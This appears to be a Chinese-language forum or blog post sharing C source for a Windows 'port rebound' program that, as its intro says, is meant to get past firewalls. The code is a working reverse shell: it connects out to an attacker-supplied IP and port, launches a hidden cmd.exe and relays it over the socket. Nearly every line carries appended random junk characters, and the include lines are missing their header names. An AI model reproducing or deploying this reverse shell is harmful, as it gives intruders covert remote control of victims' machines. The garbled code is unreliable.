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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e)fJd*P  
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/* ============================== ^Y1AeJ$L  
Rebound port in Windows NT TZvBcNi   
By wind,2006/7 <ls i.x\y<  
===============================*/ \rB/83[;u  
#include G~Q*:m  
#include 2 `q^Q  
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#pragma comment(lib,"wsock32.lib") q329z>  
;@=@N9q K  
void OutputShell(); ,Yiq$Z{qQ  
SOCKET sClient; .~V".tZV[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  h;:Se  
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void main(int argc,char **argv) ,& \&::R  
{ wd2P/y42;;  
WSADATA stWsaData; -Lz1#Sk]A  
int nRet; kOlI?wc  
SOCKADDR_IN stSaiClient,stSaiServer; N'Z_6A*-  
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if(argc != 3) !<['iM  
{ iYmzk?U  
printf("Useage:\n\rRebound DestIP DestPort\n"); ` i^`Q  
return; lhW#IiX  
} !pF KC)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0N} wD-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8m1 3M5r  
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stSaiClient.sin_family = AF_INET; ~$TE  
stSaiClient.sin_port = htons(0); dKN3ZCw*gF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {) '" k6w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u0 'pR# m|  
{ n<"a+TTU  
printf("Bind Socket Failed!\n"); (fLbg,  
return; bW 79<T'+  
} MIMPJXT#.  
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stSaiServer.sin_family = AF_INET; j{Qbzczy,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )eedfb1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \Vhp B   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)   _c7  
{ s'fcAh,c6  
printf("Connect Error!"); KI? 1( L  
return; d9e H}#OY  
} f^yLwRUD  
OutputShell(); N4GIb 6  
} bU g2Bm!y  
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void OutputShell() `'k's]Y  
{ =w>>7u$4  
char szBuff[1024]; (L6]uNOG  
SECURITY_ATTRIBUTES stSecurityAttributes; iRr& 'k  
OSVERSIONINFO stOsversionInfo; =ym~= S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HDXjH|of  
STARTUPINFO stStartupInfo; A"T. nqB^y  
char *szShell; snk{u/0Xm  
PROCESS_INFORMATION stProcessInformation; `5 v51TpH  
unsigned long lBytesRead; tZ{q\+h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0o'ML""j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =rtA{g$)+  
stSecurityAttributes.lpSecurityDescriptor = 0; z(#hL-{c  
stSecurityAttributes.bInheritHandle = TRUE; }T*xT>p^3  
`\FjO"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /v ;Kb|e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k^%ec3l  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EQ`t:jc {  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YGO7lar  
stStartupInfo.wShowWindow = SW_HIDE; /WgWe  
stStartupInfo.hStdInput = hReadPipe; JGNxJ S<]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 59J$SE  
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GetVersionEx(&stOsversionInfo); -/{}^ QWB  
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switch(stOsversionInfo.dwPlatformId) ~ai' M#  
{ < 3+&DV-<N  
case 1: tNf" X !  
szShell = "command.com"; pP oC61F  
break; iBW6<2@oZF  
default: ->9xw  
szShell = "cmd.exe"; YqCK#zT/  
break; /g7?,/vnZ  
} "LaX_0t)  
' 1]bjW*!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M@@O50~  
)P+GklI{4  
send(sClient,szMsg,77,0); /%w[q:..h  
while(1) ]c=1-Rl  
{ '*Mb .s"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~"0X,APR5  
if(lBytesRead) 0lh6b3tdP  
{ wz)9/bL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X[Gk!d r#  
send(sClient,szBuff,lBytesRead,0); la7QN QW  
} Y rnqi-P  
else Ou,_l  
{ BtApl)q#  
lBytesRead=recv(sClient,szBuff,1024,0); |Cq J2  
if(lBytesRead<=0) break; [mvHa;-w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }@6 %yR  
} rM.<Gi05Qe  
} fsuvg jlE  
U  {!{5l:  
return; C>VZf,JE1  
}
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